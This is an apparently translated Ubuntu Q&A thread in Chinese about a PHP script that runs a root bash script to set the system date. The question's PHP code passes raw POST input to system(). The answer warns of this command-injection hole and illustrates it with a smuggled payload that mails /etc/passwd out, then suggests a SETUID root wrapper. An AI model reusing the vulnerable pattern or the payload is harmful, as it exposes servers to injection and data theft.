Ubuntu
當由 php 腳本呼叫時,以 root 身份執行 bash 腳本以更改日期
我需要通過執行 php 呼叫的 bash 腳本來更改伺服器日期。當我從 shell 呼叫 bash 腳本時,它可以工作,但是如果我通過 php 呼叫它,那麼它就不起作用。bash 腳本以 root 身份執行。
php腳本程式碼:
<?php $time = $_POST['input_time']; $command = "/home/tutul/bin/timetest.sh"; $output=system("$command $time"); echo "$output"; ?>
bash腳本程式碼:
#! /bin/sh date $1 hwclock --systohc --utc
我在這裡做錯了什麼?
我以root身份登錄時嘗試在本地電腦上執行它,所以我猜腳本是以root身份呼叫的?
首先,我假設您意識到 PHP 腳本容易受到命令注入的影響,是嗎?例如,如果我使用“
input_time=whocares%3Bmail+me%40gmail.com+%3C+%2Fetc%2Fpasswd
” POST 到腳本,我可以期待我的收件箱中有一個不錯的密碼文件。其次,設置系統時間需要root權限。如果您正在呼叫二進制執行檔,則可以將其設為 SETUID (
chmod u+s $program; chown root $program
)。幸運的是,Linux 不尊重腳本上的 SETUID 位。如果您完全採用這種技術,一個解決方法是編寫一個C 包裝器以 root 身份呼叫您的腳本。包裝器將是 SETUID root 並會呼叫您的腳本。如果您這樣做,請務必在將輸入傳遞給您的腳本之前對其進行清理!編輯: